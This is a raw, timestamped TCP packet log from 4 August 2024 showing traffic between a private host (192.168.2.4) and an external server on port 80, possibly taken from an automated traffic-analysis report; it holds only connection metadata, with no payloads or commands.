Aug 4, 2024 02:21:38.832089901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832103014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832138062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832142115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832175016 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832187891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832220078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832226038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832259893 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832273006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832295895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832307100 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832328081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832340956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832360983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832376003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832392931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832411051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832426071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832438946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832458973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832470894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832504988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832515955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832549095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832560062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832587004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832593918 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832619905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832633972 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832653046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832686901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832699060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832719088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832731962 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832751989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832765102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832784891 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832797050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832828999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.872360945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.872384071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.872392893 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.872399092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.872405052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.872414112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.872422934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.872471094 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.917551994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.917584896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.917627096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.917637110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.917653084 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.917670965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.917702913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.917726994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.917747021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.917754889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.917787075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.917819977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.917821884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.917849064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.917851925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.917876005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.917896986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.917903900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.917953968 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.917956114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.917985916 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918003082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918018103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918037891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918051004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918081999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918085098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918100119 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918134928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918134928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918168068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918180943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918199062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918211937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918248892 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918251991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918283939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918294907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918332100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918334961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918366909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918375969 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918414116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918513060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918545008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918564081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918576002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918584108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918608904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918622971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918641090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918653965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918672085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918683052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918704033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918715954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918736935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918747902 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918770075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918781996 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918800116 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918822050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918831110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918844938 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918874025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918880939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918914080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918926954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918946028 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918957949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.918979883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.918988943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919024944 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919049978 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919092894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919099092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919131041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919143915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919162989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919172049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919194937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919215918 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919226885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919239044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919260025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919271946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919292927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919303894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919323921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919336081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919357061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919368982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919389963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919401884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919420958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919433117 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919454098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919464111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919486046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919497967 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919517040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919529915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919549942 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919563055 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919586897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919595957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919630051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919867039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919898987 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919915915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919931889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919939995 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919965029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.919971943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.919996023 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920018911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920027971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920037031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920059919 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920070887 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920092106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920104980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920125008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920135975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920156956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920171022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920190096 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920201063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920221090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920234919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920253992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920268059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920288086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920300961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920320988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920327902 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920363903 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920465946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920512915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920535088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920567036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920581102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920599937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920608997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920644999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920660019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920677900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920690060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920711040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920722961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920742989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920754910 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920774937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920787096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920808077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920820951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920840025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920852900 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920872927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920886040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920906067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920919895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920938969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920948982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.920969963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.920983076 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921000957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921010017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921036959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921046972 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921070099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921082973 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921103001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921109915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921134949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921147108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921169043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921180010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921200991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921212912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921246052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921431065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921463013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921482086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921494961 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921503067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921528101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921545982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921572924 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921582937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921616077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921627998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921648026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921660900 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921681881 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921690941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921714067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921725988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921746969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921758890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921778917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921791077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921813011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921823025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921845913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921859026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921879053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921891928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921911001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921921968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921947002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.921956062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.921991110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.959675074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.959697962 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.959705114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.959708929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.959713936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.959722042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.959728003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.959897995 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.007381916 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.007503033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.007518053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.007550955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.007561922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.007586956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.007597923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.007620096 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.007632971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.007652998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.007663965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.007687092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.007697105 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.007731915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008104086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008157969 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008176088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008208036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008220911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008241892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008253098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008274078 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008286953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008306980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008313894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008339882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008349895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008372068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008384943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008413076 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008414030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008445978 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008456945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008479118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008493900 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008528948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008538961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008563042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008578062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008596897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008611917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008630037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008662939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008694887 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008704901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008723974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008727074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008749008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008770943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008780003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008811951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008843899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008857965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008877993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008883953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008910894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008920908 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008944035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008954048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.008975029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.008985043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009008884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009020090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009042025 CEST	80	49757	147.45.44.104	192.168.2.4
